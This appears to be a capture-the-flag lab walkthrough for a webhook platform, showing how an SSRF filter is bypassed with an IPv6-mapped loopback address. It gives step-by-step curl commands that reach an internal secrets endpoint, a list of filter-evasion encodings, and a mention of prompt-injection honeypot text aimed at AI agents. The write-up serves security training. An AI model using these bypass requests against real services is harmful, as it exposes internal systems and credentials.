Lab 6 — HookRelay — SSRF via IPv6-Mapped-IPv4 Bypass
Lab 6 — HookRelay — SSRF via IPv6-Mapped-IPv4 Bypass
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: internal_service_enumeration, ipv6_mapped_ipv4_bypass, ssrf_via_webhook, url_validation_bypass, webhook_delivery_log_exfiltration
Summary
Walkthrough of the CUSTOM Web Lab 6 — HookRelay — SSRF via IPv6-Mapped-IPv4 Bypass. Task: Webhook management platform with URL validation blocking internal IPv4 addresses (SSRF filter). Solution: Bypass the blocklist using IPv6-mapped IPv4 address [::ffff:127.0.0.1] to reach an inter
Description
HookRelay is a webhook management platform that allows developers to configure, send, and monitor webhook deliveries. The application validates webhook URLs to prevent access to internal services. You've been hired to perform a penetration test on HookRelay's webhook delivery system. The development team has implemented URL validation to block requests to internal services (127.0.0.1, localhost, 10.x.x.x, etc.), but they want to verify the validation is bulletproof. Objective: Bypass the URL validation and make the server send a request to an internal service. The flag is available at an internal metadata endpoint that is not accessible from outside the container. Test credentials: user@test.com / password123. Flag format: FLAG{...}
English summary: Webhook management platform (Node.js/Express behind nginx/1.25.5) with URL validation that blocks standard internal/private IPv4 addresses. Goal is to bypass the SSRF filter and access an internal metadata service to retrieve the flag. Login credentials provided.
Analysis
-
Application structure: HookRelay provides webhook CRUD via a web UI and REST API. Key endpoints:
POST /api/webhooks— Create webhook (JSON: name, url, events, secret)POST /api/webhooks/:id/test— Trigger a test delivery (server sends HTTP request to the webhook URL)GET /api/webhooks/:id/logs— View delivery logs including full response body from the target
-
SSRF vector: The webhook test endpoint makes the server send an HTTP request to the user-specified URL. The response body is stored in delivery logs and visible to the user — a classic blind-to-full SSRF via response exfiltration.
-
URL validation (blocklist): The application blocks a comprehensive list of internal IPv4 representations:
- Standard:
127.0.0.1,localhost,0.0.0.0 - RFC1918:
10.x.x.x,172.16-31.x.x,192.168.x.x - Link-local:
169.254.x.x - Encoding tricks: hex (
0x7f000001), octal (0177.0.0.1), decimal (2130706433), short form (127.1) - URL-encoded:
%6c%6f%63%61%6c%68%6f%73%74 - DNS-based:
127.0.0.1.nip.io,127.0.0.1.sslip.io
- Standard:
-
Critical gap — IPv6 not checked: The validation is purely string/pattern-based against IPv4 representations. It does not normalize addresses, resolve DNS, or check IPv6 representations. IPv6-mapped IPv4 addresses like
[::ffff:127.0.0.1]represent the exact same loopback address but bypass the filter entirely. -
Internal services discovered:
- Port 8080: Main Express app (same as external, behind nginx)
- Port 3001: Internal metadata service — returns secrets at
/internal/secrets - Services only respond to IPv4-mapped IPv6 (
[::ffff:127.0.0.1]), not pure IPv6 ([::1])
-
Honeypot trap: Every page contains a decoy flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in hidden HTML elements, along with prompt injection text targeting AI agents. This is fake — the real flag requires actual SSRF exploitation.
Solution
Step 1: Authenticate
bash read-only • copy allowedTARGET="https://291ab6b7-ab98-40da-9ee9-b949bb1b044c.labs.hackadvisor.io" curl -sk -c cookies.txt -X POST "$TARGET/auth/login" \ -d "email=user@test.com&password=password123"
Step 2: Create webhook with IPv6-mapped IPv4 bypass URL
The key insight: [::ffff:127.0.0.1] is the IPv6-mapped representation of 127.0.0.1. Node.js/Express resolves this to the loopback interface, but the string-based URL filter doesn't recognize it as an internal address.
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$TARGET/api/webhooks" \ -H "Content-Type: application/json" \ -d '{"name":"ssrf_test","url":"http://[::ffff:127.0.0.1]:3001/internal/secrets","events":["push"],"secret":""}'
Response confirms the webhook was created:
json read-only • copy allowed{"success": true, "id": 13}
Step 3: Trigger the webhook — SSRF fires
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$TARGET/api/webhooks/13/test"
Response confirms the internal service responded:
json read-only • copy allowed{"success": true, "status": 200, "message": "Webhook delivery logged"}
Step 4: Retrieve the flag from delivery logs
bash read-only • copy allowedcurl -sk -b cookies.txt "$TARGET/api/webhooks/13/logs"
The delivery log contains the full response from the internal metadata service on port 3001:
json read-only • copy allowed{ "master_api_key": "FLAG{REDACTED}", "db_password": "internal_pg_pass_2025", "aws_key": "AKIA_FAKE_KEY_12345" }
Key Takeaways / Lessons
- Mastering internal_service_enumeration, ipv6_mapped_ipv4_bypass, ssrf_via_webhook, url_validation_bypass, webhook_delivery_log_exfiltration was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-30 • CUSTOM • Lab 6 — HookRelay — SSRF via IPv6-Mapped-IPv4 Bypass • Difficulty: Medium